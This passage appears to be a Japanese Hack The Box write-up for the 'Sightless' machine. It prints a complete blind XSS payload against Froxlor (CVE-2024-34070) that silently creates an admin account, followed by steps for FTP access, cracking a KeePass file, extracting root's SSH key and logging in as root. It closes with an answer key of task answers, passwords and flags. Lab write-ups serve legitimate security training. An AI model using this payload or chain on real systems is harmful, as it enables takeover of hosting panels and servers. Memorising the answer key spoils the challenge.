admin{{$emit.constructor`function+b(){var+metaTag%3ddocument.querySelector('meta[name%3d"csrf-token"]')%3bvar+csrfToken%3dmetaTag.getAttribute('content')%3bvar+xhr%3dnew+XMLHttpRequest()%3bvar+url%3d"https%3a//demo.froxlor.org/admin_admins.php"%3bvar+params%3d"new_loginname%3dabcd%26admin_password%3dAbcd%40%401234%26admin_password_suggestion%3dmgphdKecOu%26def_language%3den%26api_allowed%3d0%26api_allowed%3d1%26name%3dAbcd%26email%3dyldrmtest%40gmail.com%26custom_notes%3d%26custom_notes_show%3d0%26ipaddress%3d-1%26change_serversettings%3d0%26change_serversettings%3d1%26customers%3d0%26customers_ul%3d1%26customers_see_all%3d0%26customers_see_all%3d1%26domains%3d0%26domains_ul%3d1%26caneditphpsettings%3d0%26caneditphpsettings%3d1%26diskspace%3d0%26diskspace_ul%3d1%26traffic%3d0%26traffic_ul%3d1%26subdomains%3d0%26subdomains_ul%3d1%26emails%3d0%26emails_ul%3d1%26email_accounts%3d0%26email_accounts_ul%3d1%26email_forwarders%3d0%26email_forwarders_ul%3d1%26ftps%3d0%26ftps_ul%3d1%26mysqls%3d0%26mysqls_ul%3d1%26csrf_token%3d"%2bcsrfToken%2b"%26page%3dadmins%26action%3dadd%26send%3dsend"%3bxhr.open("POST",url,true)%3bxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded")%3balert("Your+Froxlor+Application+has+been+completely+Hacked")%3bxhr.send(params)}%3ba%3db()`()}}
【URLデコード後】
admin{{$emit.constructor`function b(){var metaTag=document.querySelector('meta[name="csrf-token"]');var csrfToken=metaTag.getAttribute('content');var xhr=new XMLHttpRequest();var url="https://demo.froxlor.org/admin_admins.php";var params="new_loginname=abcd&admin_password=Abcd@@1234&admin_password_suggestion=mgphdKecOu&def_language=en&api_allowed=0&api_allowed=1&name=Abcd&email=yldrmtest@gmail.com&custom_notes=&custom_notes_show=0&ipaddress=-1&change_serversettings=0&change_serversettings=1&customers=0&customers_ul=1&customers_see_all=0&customers_see_all=1&domains=0&domains_ul=1&caneditphpsettings=0&caneditphpsettings=1&diskspace=0&diskspace_ul=1&traffic=0&traffic_ul=1&subdomains=0&subdomains_ul=1&emails=0&emails_ul=1&email_accounts=0&email_accounts_ul=1&email_forwarders=0&email_forwarders_ul=1&ftps=0&ftps_ul=1&mysqls=0&mysqls_ul=1&csrf_token="+csrfToken+"&page=admins&action=add&send=send";xhr.open("POST",url,true);xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");alert("Your Froxlor Application has been completely Hacked");xhr.send(params)};a=b()`()}}

(4) URLデコードした内容を見やすい形にすると、XMLHttpRequest()を用いてurlに記載されたWebページにアクセスするスクリプトであることが分かる。
【URLデコード後(見やすい形に整形)】
admin{{
$emit.constructor
`function b(){
var metaTag=document.querySelector('meta[name="csrf-token"]');
var csrfToken=metaTag.getAttribute('content');
var xhr=new XMLHttpRequest();
var url="https://demo.froxlor.org/admin_admins.php";
var params="new_loginname=abcd&admin_password=Abcd@@1234&admin_password_suggestion=mgphdKecOu&def_language=en&api_allowed=0&api_allowed=1&name=Abcd&email=yldrmtest@gmail.com&custom_notes=&custom_notes_show=0&ipaddress=-1&change_serversettings=0&change_serversettings=1&customers=0&customers_ul=1&customers_see_all=0&customers_see_all=1&domains=0&domains_ul=1&caneditphpsettings=0&caneditphpsettings=1&diskspace=0&diskspace_ul=1&traffic=0&traffic_ul=1&subdomains=0&subdomains_ul=1&emails=0&emails_ul=1&email_accounts=0&email_accounts_ul=1&email_forwarders=0&email_forwarders_ul=1&ftps=0&ftps_ul=1&mysqls=0&mysqls_ul=1&csrf_token="+csrfToken+"&page=admins&action=add&send=send";
xhr.open("POST",url,true);
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
alert("Your Froxlor Application has been completely Hacked");
xhr.send(params)};
a=b()`
()
}}
(5) URLデコード前のペイロードのurlパラメータの値を「https%3a//admin.sightless.htb%3a8080/admin_admins.php」に変更する。
【Froxlorのログイン画面のloginnameパラメータで送る値】
admin{{$emit.constructor`function+b(){var+metaTag%3ddocument.querySelector('meta[name%3d"csrf-token"]')%3bvar+csrfToken%3dmetaTag.getAttribute('content')%3bvar+xhr%3dnew+XMLHttpRequest()%3bvar+url%3d"https%3a//admin.sightless.htb%3a8080/admin_admins.php"%3bvar+params%3d"new_loginname%3dabcd%26admin_password%3dAbcd%40%401234%26admin_password_suggestion%3dmgphdKecOu%26def_language%3den%26api_allowed%3d0%26api_allowed%3d1%26name%3dAbcd%26email%3dyldrmtest%40gmail.com%26custom_notes%3d%26custom_notes_show%3d0%26ipaddress%3d-1%26change_serversettings%3d0%26change_serversettings%3d1%26customers%3d0%26customers_ul%3d1%26customers_see_all%3d0%26customers_see_all%3d1%26domains%3d0%26domains_ul%3d1%26caneditphpsettings%3d0%26caneditphpsettings%3d1%26diskspace%3d0%26diskspace_ul%3d1%26traffic%3d0%26traffic_ul%3d1%26subdomains%3d0%26subdomains_ul%3d1%26emails%3d0%26emails_ul%3d1%26email_accounts%3d0%26email_accounts_ul%3d1%26email_forwarders%3d0%26email_forwarders_ul%3d1%26ftps%3d0%26ftps_ul%3d1%26mysqls%3d0%26mysqls_ul%3d1%26csrf_token%3d"%2bcsrfToken%2b"%26page%3dadmins%26action%3dadd%26send%3dsend"%3bxhr.open("POST",url,true)%3bxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded")%3balert("Your+Froxlor+Application+has+been+completely+Hacked")%3bxhr.send(params)}%3ba%3db()`()}}
(6) ブラウザを用いて「http://admin.sightless.htb:1234/」にアクセスする。
(7) Burp Suiteの[Proxy] > [Intercept]画面にて[Intercept on]にする。
(8) 「http://admin.sightless.htb:1234/」のログイン画面にて、「ユーザー名:admin」と「パスワード:admin」を入力してログイン試行する。
(9) Burp Suiteで一時的に通信が遮断されリクエストしようとしているデータを確認する。
【リクエストデータ(変更前)】
POST /index.php?showmessage=2 HTTP/1.1
Host: admin.sightless.htb:1234
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Origin: http://admin.sightless.htb:1234
Connection: keep-alive
Referer: http://admin.sightless.htb:1234/index.php?showmessage=2
Cookie: PHPSESSID=0l2brrokr4ha5tpqu253lhfntk
Upgrade-Insecure-Requests: 1
Priority: u=0, i
loginname=admin&password=ForlorfroxAdmin&dologin=
(10) loginnameパラメータの値を上記(5)で生成したペイロードの値に変更して、「Intercept on」をクリックする。
【リクエストデータ(変更後)】
POST /index.php?showmessage=2 HTTP/1.1
Host: admin.sightless.htb:1234
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Origin: http://admin.sightless.htb:1234
Connection: keep-alive
Referer: http://admin.sightless.htb:1234/index.php?showmessage=2
Cookie: PHPSESSID=0l2brrokr4ha5tpqu253lhfntk
Upgrade-Insecure-Requests: 1
Priority: u=0, i
loginname=admin{{$emit.constructor`function+b(){var+metaTag%3ddocument.querySelector('meta[name%3d"csrf-token"]')%3bvar+csrfToken%3dmetaTag.getAttribute('content')%3bvar+xhr%3dnew+XMLHttpRequest()%3bvar+url%3d"https%3a//admin.sightless.htb%3a8080/admin_admins.php"%3bvar+params%3d"new_loginname%3dabcd%26admin_password%3dAbcd%40%401234%26admin_password_suggestion%3dmgphdKecOu%26def_language%3den%26api_allowed%3d0%26api_allowed%3d1%26name%3dAbcd%26email%3dyldrmtest%40gmail.com%26custom_notes%3d%26custom_notes_show%3d0%26ipaddress%3d-1%26change_serversettings%3d0%26change_serversettings%3d1%26customers%3d0%26customers_ul%3d1%26customers_see_all%3d0%26customers_see_all%3d1%26domains%3d0%26domains_ul%3d1%26caneditphpsettings%3d0%26caneditphpsettings%3d1%26diskspace%3d0%26diskspace_ul%3d1%26traffic%3d0%26traffic_ul%3d1%26subdomains%3d0%26subdomains_ul%3d1%26emails%3d0%26emails_ul%3d1%26email_accounts%3d0%26email_accounts_ul%3d1%26email_forwarders%3d0%26email_forwarders_ul%3d1%26ftps%3d0%26ftps_ul%3d1%26mysqls%3d0%26mysqls_ul%3d1%26csrf_token%3d"%2bcsrfToken%2b"%26page%3dadmins%26action%3dadd%26send%3dsend"%3bxhr.open("POST",url,true)%3bxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded")%3balert("Your+Froxlor+Application+has+been+completely+Hacked")%3bxhr.send(params)}%3ba%3db()`()}}&password=ForlorfroxAdmin&dologin=
(11) ログインに失敗し、エラーメッセージが表示されていることを確認する。
(12) 「ユーザー名:admin」と「パスワード:ForlorfroxAdmin」を入力して、Froxlorにログインする。
(13) ログインに成功しダッシュボード画面が表示される。
(14) [System] > [System Log]をクリックすると、XSSペイロード実行時に送った文字列がログとして記録されており、alert()のポップアップが表示されることを確認する。そのため、XSS攻撃が成功していることが分かる。
(15) [Resources] > [Customer]をクリックすると、web1ユーザーがいることが分かるため、「web1」をクリックする。
(16) web1ユーザーに関するダッシュボードが表示される。
(17) [FTP] > [Accounts]をクリックして、web1ユーザーの設定変更ボタンをクリックする。
(18) 任意のパスワードを入力して、「Save」をクリックする。
(19) [FTP] > [Accounts]の画面に遷移されることを確認する。
FTPを用いたweb1ユーザーでログイン
(1) lftpを用いて攻撃対象のマシン(Sightless)にアクセスする。
※Kali Linux上で以下のコマンドを実行する。
$ lftp sightless.htb
(2) web1ユーザーでログインする。
※Kali Linux上で以下のコマンドを実行する。
lftp sightless.htb:~> login web1 gtuMmkliJh
→「login web1 [パスワード]」のため、[パスワード]の箇所は必要に応じて変更する。
(3) SSL証明書に記載されているホスト名と一致せずコマンドを実行できないため、SSL証明書のチェックを無視するコマンドを実行する。
※Kali Linux上で以下のコマンドを実行する。
lftp web1@sightless.htb:~> set ssl:verify-certificate no
(4) lsコマンドでどのようなディレクトリ/ファイルがあるか確認すると、goaccessディレクトリとindex.htmlファイルがあることが分かる。
※Kali Linux上で以下のコマンドを実行する。
lftp web1@sightless.htb:~> ls
drwxr-xr-x 3 web1 web1 4096 May 17 2024 goaccess
-rw-r--r-- 1 web1 web1 8376 Mar 29 2024 index.html
(4) goaccess/backup/ディレクトリ配下にDatabase.kdbファイルがあることが分かる。
※Kali Linux上で以下のコマンドを実行する。
lftp web1@sightless.htb:/> ls goaccess/
drwxr-xr-x 2 web1 web1 4096 Aug 2 2024 backup
lftp web1@sightless.htb:/> ls goaccess/backup/
-rw-r--r-- 1 web1 web1 5292 Aug 6 2024 Database.kdb
(5) getコマンドを用いてindex.htmlとDatabase.kdbの2つのファイルをダウンロードする。
※Kali Linux上で以下のコマンドを実行する。
lftp web1@sightless.htb:~> get index.html
8376 bytes transferred in 16 seconds (518 B/s)
lftp web1@sightless.htb:/> get goaccess/backup/Database.kdb
5292 bytes transferred in 2 seconds (2.4 KiB/s)John the Ripperを用いてパスワード解析(KeePass)
(1) keepass2johnを用いてJohn the Ripperで解析できるフォーマットに変更する。
※Kali Linux上で以下のコマンドを実行する。
$ keepass2john Database.kdb > Database.kdb.hash
Inlining Database.kdb
(2) John the RipperでKeePass KDBXファイル(Database.kdb)を開く際のパスワードを解析すると、パスワードが「bulldogs」であることが分かる。
※Kali Linux上で以下のコマンドを実行する。
$ john -w=/usr/share/wordlists/rockyou.txt Database.kdb.hash --format=KeePass
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 600000 for all loaded hashes
Cost 2 (version) is 1 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bulldogs (Database.kdb)
1g 0:00:01:23 DONE (2025-11-03 02:35) 0.01200g/s 12.48p/s 12.48c/s 12.48C/s kucing..pisces
Use the "--show" option to display all of the cracked passwords reliably
Session completed.KeePassファイルへのアクセス
(1) KeePass KDBXファイル(Database.kdb)にアクセスする
※Kali Linux上で以下のコマンドを実行する。
$ kpcli --kdb=Database.kdb
→パスワード(bulldogs)を入力する。
Provide the master password: *************************
KeePass CLI (kpcli) v3.8.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.
kpcli:/>
(2) lsコマンドを実行すると、Generalがあることが分かる。
※Kali Linux上で以下のコマンドを実行する。
kpcli:/> ls
=== Groups ===
General/
(3) lsコマンドを実行すると、sightless.htbなどがあることが分かる。
※Kali Linux上で以下のコマンドを実行する。
kpcli:/> ls General/
=== Groups ===
eMail/
Homebanking/
Internet/
Network/
sightless.htb/
Windows/
(4) lsコマンドを実行すると、Backupがあることが分かる。
※Kali Linux上で以下のコマンドを実行する。
kpcli:/> ls General/sightless.htb/
=== Groups ===
Backup/
(5) lsコマンドを実行すると、sshに関する情報があることが分かる。
※Kali Linux上で以下のコマンドを実行する。
kpcli:/> ls General/sightless.htb/Backup/
=== Entries ===
0. ssh
(6) showコマンドを実行してGeneral/sightless.htb/Backup/sshの内容を確認すると、rootユーザーに関する認証情報が表示される。
※Kali Linux上で以下のコマンドを実行する。
kpcli:/> show -f General/sightless.htb/Backup/ssh
Path: /General/sightless.htb/Backup/
Title: ssh
Uname: root
Pass: q6gnLTB74L132TMdFCpK
URL:
Notes:
Atchm: id_rsa (3428 bytes)
(7) rootユーザーのパスワードが「q6gnLTB74L132TMdFCpK」である旨の記載があるためログイン試行するが、認証に失敗することが分かる。
※Kali Linux上で以下のコマンドを実行する。
$ ssh root@sightless.htb
→パスワード(q6gnLTB74L132TMdFCpK)を入力する。rootユーザーでSSHのログイン
(1) KeePass KDBXファイル(Database.kdb)に記載されたパスワードでログインできないことが分かったため、秘密鍵(id_rsa)を用いてログインできないか検討する。
(2) attachコマンドでKeePass KDBXファイル(Database.kdb)内の秘密鍵(id_rsa)ファイルをダウンロードする。
※Kali Linux上で以下のコマンドを実行する。
kpcli:/> cd /General/sightless.htb/Backup/
kpcli:/General/sightless.htb/Backup>
kpcli:/General/sightless.htb/Backup> attach ssh
Choose: (a)dd/(e)xport/(d)elete/(c)ancel/(F)inish? ←「e」を入力する。
Path to file: /home/kali/tmp ←id_rsaファイルを格納する任意のディレクトリを入力する。
Saved to: /home/kali/tmp/id_rsa
Atchm: id_rsa (3428 bytes)
(3) 秘密鍵ファイル(id_rsa)の権限を変更する。
※Kali Linux上で以下のコマンドを実行する。
$ ls -al | grep "id_rsa"
-rw-rw-r-- 1 kali kali 3428 Nov 3 04:07 id_rsa
$ chmod 0600 id_rsa
$ ls -al | grep "id_rsa"
-rw------- 1 kali kali 3428 Nov 3 04:07 id_rsa
(4) xxdコマンドで秘密鍵ファイル(id_rsa)の内容を確認すると、改行コードが「0d 0a」になっていることが分かる。
※Kali Linux上で以下のコマンドを実行する。
$ xxd id_rsa
ーーー(省略)ーーー
00000c40: 6368 4f74 6f54 5030 7750 496c 6948 6f68 chOtoTP0wPIliHoh
00000c50: 464b 4449 6b58 6f67 6c4c 7472 3851 424e FKDIkXoglLtr8QBN
00000c60: 4253 3753 4549 2b7a 547a 6c50 5659 5a4e BS7SEI+zTzlPVYZN
00000c70: 7738 7730 6671 6343 6833 7866 6a6a 792f w8w0fqcCh3xfjjy/
00000c80: 444e 6d0d 0a39 4b6c 784c 646a 7653 3231 DNm..9KlxLdjvS21
00000c90: 6e51 5339 4e38 3265 6a4c 5a4e 487a 6b6e nQS9N82ejLZNHzkn
00000ca0: 5562 3166 6f68 5476 6e6e 4b70 456f 4643 Ub1fohTvnnKpEoFC
00000cb0: 574f 686d 4973 5742 394e 6846 6637 4751 WOhmIsWB9NhFf7GQ
00000cc0: 5631 6c55 5864 6352 7931 660d 0a6f 6a48 V1lUXdcRy1f..ojH
00000cd0: 6c41 7679 7366 3461 3478 7558 3732 4358 lAvysf4a4xuX72CX
00000ce0: 4d79 5266 5647 5854 744b 334c 3138 535a MyRfVGXTtK3L18SZ
00000cf0: 6b73 6472 6730 4341 4b67 786e 4d47 574e ksdrg0CAKgxnMGWN
00000d00: 6b67 4436 492f 4d2b 4577 534a 516d 6773 kgD6I/M+EwSJQmgs
00000d10: 4c50 4b0d 0a74 4c66 4f41 6453 7345 374d LPK..tLfOAdSsE7M
00000d20: 4141 4141 5361 6d39 6f62 6b42 7a61 5764 AAAASam9obkBzaWd
00000d30: 6f64 4778 6c63 334d 7561 4852 6941 513d odGxlc3MuaHRiAQ=
00000d40: 3d0d 0a2d 2d2d 2d2d 454e 4420 4f50 454e =..-----END OPEN
00000d50: 5353 4820 5052 4956 4154 4520 4b45 592d SSH PRIVATE KEY-
00000d60: 2d2d 2d2d ----
(5) dos2unixコマンドを用いて改行コード「0d 0a」を「0a」に変換する。
※Kali Linux上で以下のコマンドを実行する。
$ dos2unix id_rsa
dos2unix: converting file id_rsa to Unix format...
(6) xxdコマンドで秘密鍵ファイル(id_rsa)の内容を確認すると、改行コードが「0a」になっていることが分かる。
※Kali Linux上で以下のコマンドを実行する。
$ xxd id_rsa
ーーー(省略)ーーー
00000b60: 7a6d 7a39 5049 4752 6c4c 5837 6f53 764e zmz9PIGRlLX7oSvN
00000b70: 7961 6e48 3251 4f52 776f 6346 4630 7a31 yanH2QORwocFF0z1
00000b80: 416a 0a2b 3664 7778 6e45 5364 666c 5163 Aj.+6dwxnESdflQc
00000b90: 4141 4145 4241 5047 3139 367a 5359 5634 AAAEBAPG196zSYV4
00000ba0: 6f4f 3735 7651 7a79 3855 4670 4634 5365 oO75vQzy8UFpF4Se
00000bb0: 4b42 6767 6a72 5152 6f59 3045 7849 4944 KBggjrQRoY0ExIID
00000bc0: 7253 624a 6a4b 6176 530a 3078 6548 2f4a rSbJjKavS.0xeH/J
00000bd0: 5471 6c31 4170 6350 434f 4c34 6445 6633 Tql1ApcPCOL4dEf3
00000be0: 6e6b 5671 6775 6935 2f32 7251 717a 3930 nkVqgui5/2rQqz90
00000bf0: 3170 3373 3848 476f 4169 4432 5353 3178 1p3s8HGoAiD2SS1x
00000c00: 4e42 5169 3646 7274 4d54 5249 5263 6772 NBQi6FrtMTRIRcgr
00000c10: 0a34 3655 6368 4f74 6f54 5030 7750 496c .46UchOtoTP0wPIl
00000c20: 6948 6f68 464b 4449 6b58 6f67 6c4c 7472 iHohFKDIkXoglLtr
00000c30: 3851 424e 4253 3753 4549 2b7a 547a 6c50 8QBNBS7SEI+zTzlP
00000c40: 5659 5a4e 7738 7730 6671 6343 6833 7866 VYZNw8w0fqcCh3xf
00000c50: 6a6a 792f 444e 6d0a 394b 6c78 4c64 6a76 jjy/DNm.9KlxLdjv
00000c60: 5332 316e 5153 394e 3832 656a 4c5a 4e48 S21nQS9N82ejLZNH
00000c70: 7a6b 6e55 6231 666f 6854 766e 6e4b 7045 zknUb1fohTvnnKpE
00000c80: 6f46 4357 4f68 6d49 7357 4239 4e68 4666 oFCWOhmIsWB9NhFf
00000c90: 3747 5156 316c 5558 6463 5279 3166 0a6f 7GQV1lUXdcRy1f.o
00000ca0: 6a48 6c41 7679 7366 3461 3478 7558 3732 jHlAvysf4a4xuX72
00000cb0: 4358 4d79 5266 5647 5854 744b 334c 3138 CXMyRfVGXTtK3L18
00000cc0: 535a 6b73 6472 6730 4341 4b67 786e 4d47 SZksdrg0CAKgxnMG
00000cd0: 574e 6b67 4436 492f 4d2b 4577 534a 516d WNkgD6I/M+EwSJQm
00000ce0: 6773 4c50 4b0a 744c 664f 4164 5373 4537 gsLPK.tLfOAdSsE7
00000cf0: 4d41 4141 4153 616d 396f 626b 427a 6157 MAAAASam9obkBzaW
00000d00: 646f 6447 786c 6333 4d75 6148 5269 4151 dodGxlc3MuaHRiAQ
00000d10: 3d3d 0a2d 2d2d 2d2d 454e 4420 4f50 454e ==.-----END OPEN
00000d20: 5353 4820 5052 4956 4154 4520 4b45 592d SSH PRIVATE KEY-
00000d30: 2d2d 2d2d
(7) SSHを用いてrootユーザーでログインしようとすると、秘密鍵ファイル(id_rsa)を読み込めない旨のエラーメッセージが表示される。
※Kali Linux上で以下のコマンドを実行する。
$ ssh -i id_rsa root@10.10.11.32
Load key "id_rsa": error in libcrypto
root@10.10.11.32's password:
(8) 秘密鍵ファイル(id_rsa)を読み込めるようにするために最後の行に改行を入れる。
※Kali Linux上で以下のコマンドを実行する。
$ vi id_rsa
→最後の「-----END OPENSSH PRIVATE KEY-----」の後に改行を入れる。
(9) SSHを用いてrootユーザーで攻撃対象のマシン(Sightless)にログインする。
※Kali Linux上で以下のコマンドを実行する。
$ ssh -i id_rsa root@10.10.11.32
Last login: Mon Nov 3 09:05:50 2025 from 10.10.14.8
root@sightless:~#
(10) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。
※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
(11) 特権ユーザー用のフラグファイルの内容を確認する。
※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。
# cat /root/root.txt
cd8b2395891510f10e3c61a2f9480be1[補足] Guided ModeのQA
・Task 1
問題(英語訳):How many open TCP ports are listening on Sightless?
問題(日本語訳):Sightless でリッスンしている開いている TCP ポートはいくつありますか?
答え:3
・Task 2
問題(英語訳):There is an application running on a subdomain of the main site. What is the name of that software application?
問題(日本語訳):メインサイトのサブドメインでアプリケーションが実行されています。そのソフトウェアアプリケーションの名前は何ですか?
答え:SQLPad
・Task 3
問題(英語訳):What version of SQLPad is running on Sightless?
問題(日本語訳):Sightless で実行されている SQLPad のバージョンは何ですか?
答え:6.10.0
・Task 4
問題(英語訳):What is the 2022 CVE ID assigned to a template injection vulnerability in this version of SQLPad?
問題(日本語訳):このバージョンの SQLPad のテンプレート インジェクション脆弱性に割り当てられた 2022 CVE ID は何ですか?
答え:CVE-2022-0944
・Task 5
問題(英語訳):What system user is the SQLPad application running as on Sightlight?
問題(日本語訳):Sightlight 上で SQLPad アプリケーションはどのシステム ユーザーとして実行されていますか?
答え:root
・Task 6
問題(英語訳):What user besides root has a password set in this container?
問題(日本語訳):このコンテナでパスワードを設定しているのは、root 以外のどのユーザーですか?
答え:michael
・Task 7
問題(英語訳):What is the michael user's password on Sightless?
問題(日本語訳):Sightless の michael ユーザーのパスワードは何ですか?
答え:insaneclownposse
・Submit User Flag
問題(英語訳):Submit the flag located in the michael user's home directory.
問題(日本語訳):michael ユーザーのホーム ディレクトリにあるフラグを送信します。
答え:f7efbb2fdec26bc05c4c0ad4858e3128
※/home/michael/user.txtファイルの内容
・Task 9
問題(英語訳):What web application is running on Sightless but only accessible from localhost?
問題(日本語訳):Sightless 上で実行されているが、localhost からのみアクセスできる Web アプリケーションは何ですか?
答え:froxlor
・Task 10
問題(英語訳):hat is the 2024 CVE ID for a blind cross-site scripting vulnerability in Froxlor that can lead to admin access?
問題(日本語訳):管理者アクセスにつながる可能性がある Froxlor のブラインド クロスサイト スクリプティング脆弱性の 2024 CVE ID は何ですか?
答え:CVE-2024-34070
・Task 11
問題(英語訳):What user is configured in Froxlor with an account and FTP access?
問題(日本語訳):Froxlor でアカウントと FTP アクセスが設定されているユーザーは誰ですか?
答え:web1
・Task 12
問題(英語訳):What is the name of the file in the backup folder accessible over FTP as web1?
問題(日本語訳):web1 として FTP 経由でアクセス可能なバックアップ フォルダー内のファイルの名前は何ですか?
答え:Database.kdb
・Task 13
問題(英語訳):What is the master password for Database.kdb?
問題(日本語訳):Database.kdb のマスターパスワードは何ですか?
答え:bulldogs
・Submit Root Flag
問題(英語訳):Submit the flag located in the root user's home directory.
問題(日本語訳):ルート ユーザーのホーム ディレクトリにあるフラグを送信します。
答え:cd8b2395891510f10e3c61a2f9480be1
※/root/root.txtファイルの内容
関連記事(Hack The Box)
※後日作成予定。

